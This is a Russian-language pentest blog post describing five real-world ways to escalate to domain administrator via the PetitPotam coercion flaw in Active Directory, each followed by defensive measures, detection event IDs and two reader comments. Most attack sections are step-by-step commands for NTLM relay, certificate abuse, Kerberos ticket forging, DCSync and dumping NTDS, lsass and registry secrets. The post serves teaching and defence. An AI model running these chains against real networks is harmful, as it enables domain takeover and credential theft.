В последнее время почти на каждом проекте по внутреннему пентесту я встречаю уязвимость PetitPotam. И почти всегда она помогает в получении привилегий администратора домена. При наличии доменной учетной записи (в некоторых случаях возможна эксплуатация уязвимости без аутентификации) атакующий может с помощью специально сформированного запроса заставить уязвимый хост выполнить обращение к произвольному хосту с передачей аутентификационных данных. Подробнее можно почитать в статье «Хакера».

В этой статье я расскажу, как использую эту уязвимость и как мне удалось получить привилегии администратора домена пятью разными способами в реальных проектах.

Источник: https://www.youtube.com/watch?v=_O2k2LAlYn0&ab_channel=PETITPOTAMOFFICIEL%F0%9F%87%AB%F0%9F%87%B7
Источник: https://www.youtube.com/watch?v=_O2k2LAlYn0&ab_channel=PETITPOTAMOFFICIEL%F0%9F%87%AB%F0%9F%87%B7

Для атакующего суть уязвимостей одинакова — заставить уязвимый хост выполнить обращение к хосту атакующего. Поэтому вместо PetitPotam могут быть такие уязвимости, как Printer Bug или PrivExchange. Я люблю использовать именно PetitPotam, потому что он чаще всего встречается и в некоторых случаях возможна эксплуатация без аутентификации.

Внимание! Данная статья носит исключительно информационный характер и предназначена для образовательных целей.

Я использую эксплойт с GitHub (https://github.com/topotam/PetitPotam).

Основные параметры: 

  • -u — имя пользователя;

  • -p — пароль пользователя;

  • -d — домен;

  • listener — машина, к которой при эксплуатации обратится уязвимый хост;

  • target — уязвимый хост.

В качестве listener-а чаще всего выступает машина атакующего. Только в одном векторе используется другой хост— я дополнительно это уточню.

Далее в статье фраза «эксплуатируем уязвимость PetitPotam» подразумевает запуск вышеуказанного эксплойта.

python3 PetitPotam.py -u username -p password -d domain.local listener target
Эксплуатация PetitPotam
Эксплуатация PetitPotam

Понижение аутентификации до NTLMv1

Это самый простой и быстрый способ эксплуатации. В случае, если групповыми политиками хостам разрешена аутентификация по протоколу NTLMv1, атакующий может заставить хост понизить протокол аутентификации до NTLMv1. Протокол NTLMv1 является небезопасным и позволяет осуществить перебор хеша в течение короткого срока для получения NTLM-хеша учетной записи. Это единственный случай, когда я не сочетаю PetitPotam с атакой NTLM Relay.

Как эксплуатировать

Проще всего реализовать эту атаку с помощью утилиты Responder (https://github.com/SpiderLabs/Responder). Сначала необходимо отредактировать конфигурационный файл утилиты Responder. В /etc/responder/Responder.conf устанавливаем следующий challenge (для того, чтобы затем можно было использовать сайт https://crack.sh/get-cracking):

Challenge = 1122334455667788

Затем запускаем responder с параметром lm:

Responder --lm --I eth0 --A

После этого эксплуатируем уязвимость PetitPotam. И получаем NTLMv1-хеш учетной записи компьютера.

Получение NTLMv1-хешей с помощью Responder
Получение NTLMv1-хешей с помощью Responder

Затем идем на сайт https://crack.sh/get-cracking. Вводим хеш в формате NTHASH:hash (пример: NTHASH:CA931F621C07AB571662D7DA05A397FB3B16EB1608D4B7DB), email.

Перебор NTLMv1-хешей на этом сайте бесплатный и обычно занимает меньше минуты, а результат приходит в письме на указанный email. В итоге мы получаем NTLM-хеш учетной записи компьютера. Этот сайт использует радужные таблицы для восстановления NTLM-хэша из NTLMv1. Теоретически вы можете использовать какие-то локальные утилиты (например, rainbowcrack), но для этого необходимо подготовить радужные таблицы. Нет смысла пытаться восстановить пароль по словарям или даже перебором, так как пароли машинных учетных записей генерируются автоматически.  

Пример письма с NTLM-хешом
Пример письма с NTLM-хешом

В случае, если получен NTLM-хеш учетной записи контроллера домена, можно сразу провести атаку DCSync и получить NTLM-хеши всех пользователей домена из базы NTDS. Или можно провести атаку Silver Ticket.

На примере ниже с помощью утилиты secretsdump.py были получены NTLM-хеши из базы NTDS:

secretsdump.py -just-dc -hashes :ntlm-hash -outputfile ntds domain.local/vuln-hostname@dc
Дамп NTDS
Дамп NTDS

Как защититься

В групповых политиках (Computer Configurations -> Policies -> Windows Settings -> Security Settings -> Local Policies -> Security Options and find the policy Network Security: LAN Manager authentication level) на контроллере домена необходимо отключить использование NetNTLMv1, затем включить обязательное использования NTLMv2 и запрет на использование LM либо NTLMv1.

Выпуск сертификата в центре сертификации

Это самый популярный способ использования PetitPotam. В случае, если в инфраструктуре есть центр сертификации (Active Directory Certificate Services), и в нем активированы службы Web Enrollment или Certificate Enrollment Web Service, атакующий может провести атаку NTLM Relay на центр сертификации, получить сертификат хоста и затем с помощью сертификата получить TGT-билет. Далее можно также получить NTLM-хеш учетной записи хоста.

Как эксплуатировать

Для начала необходимо найти центр сертификации. Лучший способ — посмотреть членов группы CERT PUBLISHERS (ИЗДАТЕЛИ СЕРТИФИКАТОВ). Затем проверяем, открыт ли 80-й порт на хостах из этой группы. Запускаем ntlmrelayx.py с relay-атакой на центр сертификации. В некоторых случаях можно изменить используемый шаблон (например, если в центре сертификации не используются стандартные шаблоны).

ntlmrelayx.py -smb2support -t http://CA-IP/certsrv/certfnsh.asp --adcs --template KerberosAuthentication
Запуск ntlmrelayx.py
Запуск ntlmrelayx.py

Затем эксплуатируем PetitPotam, получаем запрос. Ntlmrelayx.py генерирует запрос, отправляет его в центр сертификации. В результате атаки мы получаем сертификат в base64.

Получение сертификата хоста
Получение сертификата хоста

Декодируем сертификат и запрашиваем с его помощью TGT-билет. Для этого я использую PKINIT tools (https://github.com/dirkjanm/PKINITtools):

сat base64_cert.txt | base64 -d > host_cert.pfx
python3 gettgtpkinit domain.local/vuln-hostname\$ -cert-pfx path-to-cert host.ccache
Декодирование сертификата
Декодирование сертификата
Получение TGT с помощью сертификата
Получение TGT с помощью сертификата

Имея TGT-билет хоста, уже можно выполнять какие-то действия. Но я обычно получаю NTLM-хеш учетной записи хоста с использованием утилиты getnthash.py. В параметре key нужно указать AS-REP encryption key, который был получен при выпуске TGT-билета:

export KRB5CCName=host.ccache
python3 getnthash.py domain.local/vuln-hostname\$ -key as-rep-key
Получение NTLM-хеша пароля хоста
Получение NTLM-хеша пароля хоста

Далее этот NTLM-хеш можно использовать для атак Pass-the-Hash или для атаки Silver Ticket. Я выбрала атаку Silver Ticket: создала TGS-билет для пользователя adm, который является администратором домена и администратором на уязвимом хосте. С помощью полученного билета я сдампила учетные данные из памяти процесса lsass.exe и получила пароль администратора домена в открытом виде:

ticketer.py -nthash hash -domain-sid sid -domain doman.local -spn cifs/vuln-hostname.domain.local username
export KRB5CCNAME=path-to-ccache
crackmapexec smb vuln-hostname -k -u username -M lsassy
Получение Silver Ticket
Получение Silver Ticket
Экспорт TGS
Экспорт TGS
Дамп памяти lsass.exe
Дамп памяти lsass.exe

Как защититься

  1. Если не используете службы Certificate Authority Web Enrollment и Certificate Enrollment Web Service, то отключить их.

  2. Включить Extended Protection for Authentication (EPA) и установить параметр Require TLS.

  3. Запретить NTLM на всех центрах сертификации в домене с помощью групповых политик.

  4. Отключить NTLM в IIS на хосте с ролью Центра сертификации.

Подробная инструкция: https://support.microsoft.com/en-gb/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429

Неограниченное делегирование Kerberos

Неограниченное делегирование — это привилегия, которая может быть назначена учетной записи компьютера или пользователя. Данная привилегия позволяет этой учетной записи проходить аутентификацию в сервисах от имени других учетных записей.

Что это дает атакующему?

Если у вас есть привилегии локального администратора на хосте с неограниченным делегированием, вы можете получить TGT-билеты пользователей, которые проходят аутентификацию на этом хосте, и переиспользовать их до истечения срока действия.

Как эксплуатировать

Для начала нам нужен хост с неограниченным делегированием, на котором у нас есть привилегии локального администратора. Для поиска хостов с неограниченным делегированием, которые не являются контроллерами домена, я использую кастомный запрос Bloodhound. Этот запрос я взяла из чужого репозитория (https://github.com/hausec/Bloodhound-Custom-Queries):

{
            "name": "Find computers that allow unconstrained delegation that aren’t domain controllers.",
            "queryList": [{
                "final": true,
                "query": "MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH '-516' WITH COLLECT(c1.name) AS domainControllers MATCH (c2:Computer {unconstraineddelegation:true}) WHERE NOT c2.name IN domainControllers RETURN c2"
            }]
        },

Для эксплуатации нам потребуется Rubeus.exe. Подключаемся к хосту (я подключаюсь по RDP). Запускаем от имени SYSTEM Rubeus.exe в режиме монитора:

Rubeus.exe /monitorinterval:1 /targetuser:hostname$ /nowrap

Эксплуатируем PetitPotam. В качестве listener-а указываем dns-имя хоста с неограниченным делегированием, на котором мы запустили Rubeus. В Rubeus получаем TGT-билет уязвимого хоста в base64. Можно декодировать его и использовать на Kali Linux. А можно продолжить работать на этом же хосте, как сделала я.

ПолучениеTGT хоста с помощью Rubeus
ПолучениеTGT хоста с помощью Rubeus

Проводим атаку Pass-the-Ticket. Сначала декодируем base64 и записываем TGT в файл. А затем используем mimikatz.exe для атаки. Так как в моем случае уязвимым был контроллер домена, после атаки Pass-the-Ticket я провела атаку DCSync и получила NTLM-хеш администратора домена, который можно использовать для Pass-the-Hash:

[IO.File]::WriteAllBytes(“ticket-filename.kirbi”:, [Convert]::FromBase64String(“base64-ticket”))
Mimikatz.exe
kerberos::ptt ticket-filename.kirbi
lsadump::dcsync /user:adin_username
Декодирование TGT
Декодирование TGT
Атаки Pass-the-Ticket и DCSync
Атаки Pass-the-Ticket и DCSync

Как защититься

Провести инвентаризацию всех хостов с неограниченным делегированием. В случае, если эта привилегия не нужна, отключить ее.

Ограниченное делегирование Kerberos на основе ресурсов

При делегировании Kerberos на основе ресурсов компьютеры (ресурсы) указывают, кому они доверяют и кто может делегировать им аутентификацию. Учетные записи, которым доверяют компьютеры, указаны в атрибуте msDS-AllowedToActOnBehalfOfOtherIdentity. Если атакующий добавит в этот атрибут имя скомпрометированного компьютера (или любого компьютера, от имени которого он может пройти аутентификацию), то он сможет притвориться для целевого хоста кем угодно — например, администратором.

Как эксплуатировать

Для эксплуатации должна быть возможность проведения атаки NTLM Relay на LDAPS-сервер. Чаще всего я добавляю параметр remove-mic для эксплуатации уязвимости CVE-2019-1040.

Запускаем ntlmrelayx.py:

ntlmrelayx.py -t ldaps://dc-ip --remove-mic --delegate-access

Затем эксплуатируем PetitPotam. Если атака была успешной, мы получим имя и пароль только что созданной учетной записи компьютера.

Создание учетки компьютера и предоставление ей привилегий
Создание учетки компьютера и предоставление ей привилегий

С помощью этой учетной записи запрашиваем TGS для любого пользователя. Я запрашивала для администратора домена. Что можно сделать, имея TGS, я писала выше.

getST.py -spn host/vuln-host -impersomaite admin-name ‘domain.local/new-hostname$’
Запрос TGS
Запрос TGS

Так как в моем случае уязвим был контроллер домена, я получила NTLM-хеши всех учетных записей из базы NTDS:

export KRB5CCNAME=admin-name.ccache
secretsdump.py -just-dc -k -no-pass -outputfile ntds dc
Дамп NTDS
Дамп NTDS

Как защититься

  1. Включить обязательную подпись LDAP.

  2. Для усложнения атаки запретить непривилегированным пользователям и учетным записям компьютеров добавлять новые устройства в домен.

  3. Установить обновление безопасности от Microsoft, если оно не установлено (https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-1040).

Атака NTLM Relay на SMB

Бывает такое, что учетная запись компьютера является локальным администратором на другом компьютере. Например, я несколько раз встречала, что члены группы EXCHANGE TRUSTED SUBSYSTEM являются локальными администраторами на серверах Exchange. В этом случае PetitPotam можно сочетать с атакой NTLM Relay на SMB — отсутствие подписи на SMB встречается довольно часто.

Как эксплуатировать

Сначала нужно найти хосты, которые являются администраторами на других хостах. Для этого я использую кастомный запрос в Bloodhound и проверяю привилегии группы EXCHANGE TRUSTED SUBSYSTEM. Я не эксперт в кастомных запросах Bloodhound, поэтому он не идеальный. Если у вас есть идеи, как его улучшить, напишите, пожалуйста, в комментариях.

{
            "name": "List all computers which are local admins on other computer",
            "queryList": [{
                "final": true,
                "query": "MATCH p=(m:Computer)-[r:AdminTo]->(n:Computer) RETURN p"
            }]
        }
Проверка привилегий группы Exchange Trusted Subsystem
Проверка привилегий группы Exchange Trusted Subsystem
Список членов группы Exchange Trusted Subsystem
Список членов группы Exchange Trusted Subsystem

Если нашлось несколько хостов, на которых выбранный хост или группа являются администратором, то создаем файл со списком этих хостов. Затем запускаем ntlmrelayx.py:

ntlmrelayx.py -tf exchanges-list.txt -socks

После эксплуатации PetitPotam на хосте, который является администратором (в моем случае это EXCH03), получаем SMB-сессии от имени администратора.

SMB-сессии
SMB-сессии

Далее редактируем конфигурационный файл /etc/proxychains. В списке должен быть только один прокси-сервер:

socks4 127.0.0.1 1080

Имея SMB-сессию администратора, можно использовать smbclient.py, crackmapexec и множество других утилит. 

Подробнее про механизм можно почитать здесь (https://www.secureauth.com/blog/playing-with-relayed-credentials/). Я предлагаю выгрузить учетные данные из реестра (SAM и LSA). Для этого используем secretsdump.py:

proxychains secretsdump.py -no-pass ‘domain.local/victim-ip$’@hostname
Дамп учетных данных из реестра
Дамп учетных данных из реестра
Получение пароля учетки из реестра
Получение пароля учетки из реестра

В результате мы получаем NTLM-хеши локальных пользователей, в том числе локального администратора, которые можно использовать для атаки Pass-the-hash. Еще мы можем получить DCC2-хеши доменных пользователей, которые ранее аутентифицировались на хосте. Их можно побрутить. Еще иногда можно получить в открытом виде пароли пользователей, от имени которых запускаются службы. Это как раз мой случай — пользователь VeeamBackup оказался администратором домена.

Как защититься

  1. Включить подпись на SMB.

  2. Провести инвентаризацию и удалить лишние привилегии.

Общие рекомендации для устранения PetitPotam

Для предотвращения эксплуатации PetitPotam необходимо:

  1. Установить обновления безопасности от Microsoft (https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36942, https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-26925).

  2. Применить RPC-фильтры, как описано в статье https://kb.cert.org/vuls/id/405600.

  3. Заблокировать исходящий трафик на 445-й порт от контроллеров домена к произвольным узлам.  

Как детектировать PetitPotam

Детектировать следы эксплуатации PetitPotam можно несколькими способами.

1. После успешной эксплуатации уязвимости PetitPotam генерируется событие успешного логина (4624 в журнале Security) со специфичными параметрами.

Данные параметры могут использоваться:

Event ID = 4624

  • User: ANONYMOUS LOGON

  • Authentication Package: NTLM*

  • Elevated Token: %%1842

2. В процессе эксплуатации PetitPotam возникает принудительная проверка подлинности, в результате чего генерируется событие доступа к общей папке IPC (5145 в журнале Security):

Event ID = 5145

  • User: ANONYMOUS LOGON

  • Object Name = *IPC*

  • Target Name = “lsarpc” или “efsrpc” или “lsass” или “samr” или “netlogon

Обратите внимание, что для генерации события 5145 должны быть включены расширенные настройки аудита:

  • Object Access – Audit Detailed File Share = Success

  • Object Access – File Share = Success

3. Можно детектировать факт успешной эксплуатации уязвимости PetitPotam, когда злоумышленник пробует запросить TGT после получения сертификата (вектор описан в пункте «Выпуск сертификата в центре сертификации»). Дело в том, что при запросе TGT атакующий будет обращаться к контроллеру домена со своей машины под машинной УЗ контроллера домена. Таким образом в событии запроса TGT (событие 4768 в журнале Security) появится IP-адрес атакующего.

Обратите внимание, что для такого детектирования PetitPotam необходимо выполнить следующие подготовительные действия:

  • создать список контроллеров домена;

  • создать список IP-адресов контроллеров домена;

  • настроить политику расширенного аудита для генерации событий 4768: Account Logon > Kerberos Authentication Service > Success/Failure.

Event ID = 4768

  • Account Name: *$ (машинная УЗ DC)

  • Service Name = krbtgt

  • Client Address = NOT DC IP address

Сама по себе уязвимость PetitPotam не является критической, однако в сочетании с недостатками конфигурации или особенностями инфраструктуры может быть очень опасной. Конечно, мне как пентестеру нравится, что почти в любой компании можно получить привилегии администратора домена с помощью этой уязвимости, но я рекомендую принять меры для ее устранения. Ведь наша цель — повысить уровень информационной безопасности.

Источники изображений в этом посте: «Инфосистемы Джет»

Ирина Беляева

старший консультант по информационной безопасности Центра информационной безопасности «Инфосистемы Джет»

Александр Ахремчик

ведущий аналитик центра мониторинга и реагирования на инциденты ИБ Jet CSIRT «Инфосистемы Джет»

Комментарии (2)


  1. MechanicusJr
    27.09.2022 20:42

    От авторов "отключите ipv6" https://habr.com/ru/company/jetinfosystems/blog/682778/ - новые открытия, оказывается имея RDP на контроллер домена - можно на нем эксплуатировать дырку из кидди набора в кали линукс.

    настроить политику расширенного аудита для генерации событий 4768: Account Logon > Kerberos Authentication Service > Success/Failure.

    не дает ничего. У вас сколько глубина хранения в примере ? какое срабатывание будет по событию ? Какой SLA по отработке ?

    Если у вас есть привилегии локального администратора на хосте с неограниченным делегированием

    Допустим вы уже администратор домена и хотите сделать нехорошо. ООК.


    1. irabva
      28.09.2022 10:38
      +4

      Ваши комментарии вообще не понятны.

      оказывается имея RDP на контроллер домена - можно на нем эксплуатировать дырку из кидди набора в кали линукс

      Наличие RDP для эксплуатации PetitPotam не обязательно, ведь эксплуатируется уязвимость в SMB. Или вы считаете, что наличие непривилегированной учетной записи и RDP-сервиса на контроллере домена достаточно для компрометации домена?

      С неограниченным делегированием могут быть не только контроллеры домена. На одном из проектов таких хостов было более 10. И локальный администратор на таком хосте не значит администратор домена. А привилегии локального администратора можно получить после эксплуатации какой-нибудь уязвимости, например PrintNightmare.